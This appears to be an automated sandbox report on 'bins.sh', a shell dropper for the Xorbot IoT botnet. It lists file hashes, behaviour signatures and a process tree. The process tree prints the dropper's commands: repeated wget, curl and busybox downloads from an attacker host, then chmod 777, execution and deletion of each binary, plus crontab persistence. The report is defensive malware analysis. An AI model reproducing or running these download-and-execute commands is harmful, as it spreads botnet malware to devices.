Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    09/12/2024, 21:11

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    ca8f80fccdd799237712a1f5294be13b

  • SHA1

    b1b54810c00d598466099dfe52badb33d1f4a8f5

  • SHA256

    c0247f27d9fe7c27c45d1e54ea8b969c46eb15c77021e18712c47b2bbf8c6e55

  • SHA512

    c57c489a43abeaeb41fb484417d061ae9d89134be9ec4c9967391d88380b435cf2f796faffeb49c22031f46257806462fd333dabc35f07919ba405f4409e2b47

  • SSDEEP

    96:YDfjqUYDLSqmQLvDiLFlrHJh8LG20y8qy8iy81a8N8Z8r+kLRpip6pnQkoUvDrUD:lSQistm6RQwscWqm6RQwebo

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1249) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 22 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 20 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:697
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:701
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/08GRAqX4na1lkECbZsyzk9qZ3PSw1kT5ov
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:706
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/08GRAqX4na1lkECbZsyzk9qZ3PSw1kT5ov
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:728
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/08GRAqX4na1lkECbZsyzk9qZ3PSw1kT5ov
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:730
        • /bin/chmod
          chmod 777 08GRAqX4na1lkECbZsyzk9qZ3PSw1kT5ov
          2⤵
          • File and Directory Permissions Modification
          PID:731
        • /tmp/08GRAqX4na1lkECbZsyzk9qZ3PSw1kT5ov
          ./08GRAqX4na1lkECbZsyzk9qZ3PSw1kT5ov
          2⤵
          • Executes dropped EXE
          PID:732
        • /bin/rm
          rm 08GRAqX4na1lkECbZsyzk9qZ3PSw1kT5ov
          2⤵
            PID:734
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/B0lTmv8zheuOmeWG5beShixcnBDj7u0yv1
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:735
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/B0lTmv8zheuOmeWG5beShixcnBDj7u0yv1
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:739
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/B0lTmv8zheuOmeWG5beShixcnBDj7u0yv1
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:750
          • /bin/chmod
            chmod 777 B0lTmv8zheuOmeWG5beShixcnBDj7u0yv1
            2⤵
            • File and Directory Permissions Modification
            PID:754
          • /tmp/B0lTmv8zheuOmeWG5beShixcnBDj7u0yv1
            ./B0lTmv8zheuOmeWG5beShixcnBDj7u0yv1
            2⤵
            • Executes dropped EXE
            PID:756
          • /bin/rm
            rm B0lTmv8zheuOmeWG5beShixcnBDj7u0yv1
            2⤵
              PID:759
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/b3gwNdZ5Q7kPw6IK8JenufEHPP8vxjaAM9
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:760
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/b3gwNdZ5Q7kPw6IK8JenufEHPP8vxjaAM9
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:770
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/b3gwNdZ5Q7kPw6IK8JenufEHPP8vxjaAM9
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:794
            • /bin/chmod
              chmod 777 b3gwNdZ5Q7kPw6IK8JenufEHPP8vxjaAM9
              2⤵
              • File and Directory Permissions Modification
              PID:795
            • /tmp/b3gwNdZ5Q7kPw6IK8JenufEHPP8vxjaAM9
              ./b3gwNdZ5Q7kPw6IK8JenufEHPP8vxjaAM9
              2⤵
              • Executes dropped EXE
              PID:796
            • /bin/rm
              rm b3gwNdZ5Q7kPw6IK8JenufEHPP8vxjaAM9
              2⤵
                PID:798
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/Q8YQfqbV4Yu3VarC5c2quSd0VMgfUbRPj9
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:799
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/Q8YQfqbV4Yu3VarC5c2quSd0VMgfUbRPj9
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:800
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/Q8YQfqbV4Yu3VarC5c2quSd0VMgfUbRPj9
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:804
              • /bin/chmod
                chmod 777 Q8YQfqbV4Yu3VarC5c2quSd0VMgfUbRPj9
                2⤵
                • File and Directory Permissions Modification
                PID:807
              • /tmp/Q8YQfqbV4Yu3VarC5c2quSd0VMgfUbRPj9
                ./Q8YQfqbV4Yu3VarC5c2quSd0VMgfUbRPj9
                2⤵
                • Executes dropped EXE
                PID:808
              • /bin/rm
                rm Q8YQfqbV4Yu3VarC5c2quSd0VMgfUbRPj9
                2⤵
                  PID:812
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/GAGNiUOWmbXZwzryogMO62ymuYqxDAitJe
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:813
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/GAGNiUOWmbXZwzryogMO62ymuYqxDAitJe
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:838
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/GAGNiUOWmbXZwzryogMO62ymuYqxDAitJe
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:840
                • /bin/chmod
                  chmod 777 GAGNiUOWmbXZwzryogMO62ymuYqxDAitJe
                  2⤵
                  • File and Directory Permissions Modification
                  PID:841
                • /tmp/GAGNiUOWmbXZwzryogMO62ymuYqxDAitJe
                  ./GAGNiUOWmbXZwzryogMO62ymuYqxDAitJe
                  2⤵
                  • Executes dropped EXE
                  PID:842
                • /bin/rm
                  rm GAGNiUOWmbXZwzryogMO62ymuYqxDAitJe
                  2⤵
                    PID:844
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/ISqQiKqYR8y2TF6GYYDEQJ60OOyo6Z7vvG
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:845
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/ISqQiKqYR8y2TF6GYYDEQJ60OOyo6Z7vvG
                    2⤵
                    • Reads runtime system information
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:846
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/ISqQiKqYR8y2TF6GYYDEQJ60OOyo6Z7vvG
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:848
                  • /bin/chmod
                    chmod 777 ISqQiKqYR8y2TF6GYYDEQJ60OOyo6Z7vvG
                    2⤵
                    • File and Directory Permissions Modification
                    PID:849
                  • /tmp/ISqQiKqYR8y2TF6GYYDEQJ60OOyo6Z7vvG
                    ./ISqQiKqYR8y2TF6GYYDEQJ60OOyo6Z7vvG
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:850
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:852
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                          • Reads runtime system information
                          PID:853
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:854
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:855
                      • /bin/rm
                        rm ISqQiKqYR8y2TF6GYYDEQJ60OOyo6Z7vvG
                        2⤵
                          PID:857
                        • /usr/bin/wget
                          wget http://conn.masjesu.zip/bins/q2NtehwdseWgqhZsHWWc1MAsuLQnIWCjWO
                          2⤵
                          • System Network Configuration Discovery
                          PID:860
                        • /usr/bin/curl
                          curl -O http://conn.masjesu.zip/bins/q2NtehwdseWgqhZsHWWc1MAsuLQnIWCjWO
                          2⤵
                          • System Network Configuration Discovery
                          PID:861
                        • /bin/busybox
                          /bin/busybox wget http://conn.masjesu.zip/bins/q2NtehwdseWgqhZsHWWc1MAsuLQnIWCjWO
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:942
                        • /bin/chmod
                          chmod 777 q2NtehwdseWgqhZsHWWc1MAsuLQnIWCjWO
                          2⤵
                          • File and Directory Permissions Modification
                          PID:943
                        • /tmp/q2NtehwdseWgqhZsHWWc1MAsuLQnIWCjWO
                          ./q2NtehwdseWgqhZsHWWc1MAsuLQnIWCjWO
                          2⤵
                          • Executes dropped EXE
                          PID:944
                        • /bin/rm
                          rm q2NtehwdseWgqhZsHWWc1MAsuLQnIWCjWO
                          2⤵
                            PID:946
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/ReUv93fTVGLM6lHNj9RoODbeb3dbYgMVU0
                            2⤵
                              PID:947
                            • /usr/bin/curl
                              curl -O http://conn.masjesu.zip/bins/ReUv93fTVGLM6lHNj9RoODbeb3dbYgMVU0
                              2⤵
                                PID:948
                              • /bin/busybox
                                /bin/busybox wget http://conn.masjesu.zip/bins/ReUv93fTVGLM6lHNj9RoODbeb3dbYgMVU0
                                2⤵
                                • Writes file to tmp directory
                                PID:949
                              • /bin/chmod
                                chmod 777 ReUv93fTVGLM6lHNj9RoODbeb3dbYgMVU0
                                2⤵
                                • File and Directory Permissions Modification
                                PID:954
                              • /tmp/ReUv93fTVGLM6lHNj9RoODbeb3dbYgMVU0
                                ./ReUv93fTVGLM6lHNj9RoODbeb3dbYgMVU0
                                2⤵
                                • Executes dropped EXE
                                PID:955
                              • /bin/rm
                                rm ReUv93fTVGLM6lHNj9RoODbeb3dbYgMVU0
                                2⤵
                                  PID:957
                                • /usr/bin/wget
                                  wget http://conn.masjesu.zip/bins/hot3aNyscYX830KTE2Dxv46dgpxbno6UK5
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:958

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • /tmp/08GRAqX4na1lkECbZsyzk9qZ3PSw1kT5ov

                                Filesize

                                98KB

                                MD5

                                5141342d0df8699fa32a6b066a0c592e

                                SHA1

                                8157673225bd5182f16215e2aa823a25ca2d4fbc

                                SHA256

                                54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                SHA512

                                d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                              • /tmp/B0lTmv8zheuOmeWG5beShixcnBDj7u0yv1

                                Filesize

                                177KB

                                MD5

                                786d75a158fe731feca3880f436082c0

                                SHA1

                                79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                SHA256

                                5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                SHA512

                                7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                              • /tmp/GAGNiUOWmbXZwzryogMO62ymuYqxDAitJe

                                Filesize

                                151KB

                                MD5

                                3c90d5820bddcf7c5d1bd21dfa49d958

                                SHA1

                                5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                SHA256

                                bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                SHA512

                                54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                              • /tmp/ISqQiKqYR8y2TF6GYYDEQJ60OOyo6Z7vvG

                                Filesize

                                151KB

                                MD5

                                6c583043d91c55aa470c08c87058e917

                                SHA1

                                abf65a5b9bba69980278ad09356e53de8bb89439

                                SHA256

                                2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                SHA512

                                82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                              • /tmp/Q8YQfqbV4Yu3VarC5c2quSd0VMgfUbRPj9

                                Filesize

                                127KB

                                MD5

                                89077b7bd4bcafca7713be43635c4862

                                SHA1

                                fc02edb8fba29ea8ee99e6157ef8560334530052

                                SHA256

                                78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                SHA512

                                1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                              • /tmp/ReUv93fTVGLM6lHNj9RoODbeb3dbYgMVU0

                                Filesize

                                112KB

                                MD5

                                05d7857dcead18bbd86d2935f591873c

                                SHA1

                                34d18f41ef35f93d5364ce3e24d74730a4e91985

                                SHA256

                                2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                SHA512

                                d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                              • /tmp/b3gwNdZ5Q7kPw6IK8JenufEHPP8vxjaAM9

                                Filesize

                                119KB

                                MD5

                                1b166b95f9cb4b079ef1b9ec8363ddf3

                                SHA1

                                0d8eb08add467b3b5474f9b25909297fe7c2839c

                                SHA256

                                94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                SHA512

                                983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                              • /tmp/q2NtehwdseWgqhZsHWWc1MAsuLQnIWCjWO

                                Filesize

                                111KB

                                MD5

                                701e7a55a4f3650f5feee92a9860e5fc

                                SHA1

                                6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                SHA256

                                ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                SHA512

                                7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                              • /var/spool/cron/crontabs/tmp.d7Vewi

                                Filesize

                                210B

                                MD5

                                747eb3e79b32969e19643c6e11b64633

                                SHA1

                                0033d801e24f3968df017d6ea77e056b74b75dbb

                                SHA256

                                ab17273b6298926c82b2b155a6de4c32f05409de8a1a7bcd10cadcca90a79e7c

                                SHA512

                                3785179f627eca6104a8ae6509dd77fc7c864c4d723afde36cca64bf03d15212ea12fa94f027a425b71c5647ead2ebabfb2c5e8accc2987f10d64854b3b0c254